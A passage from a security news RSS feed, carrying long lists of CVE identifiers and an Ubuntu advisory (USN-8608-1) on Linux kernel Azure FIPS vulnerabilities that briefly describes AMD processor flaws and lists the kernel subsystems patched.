CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8608-1: Linux kernel (Azure FIPS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691496/unix-server/usn-8608-1-linux-kernel-azure-fips-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:38 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31638, CVE-2026-31639,
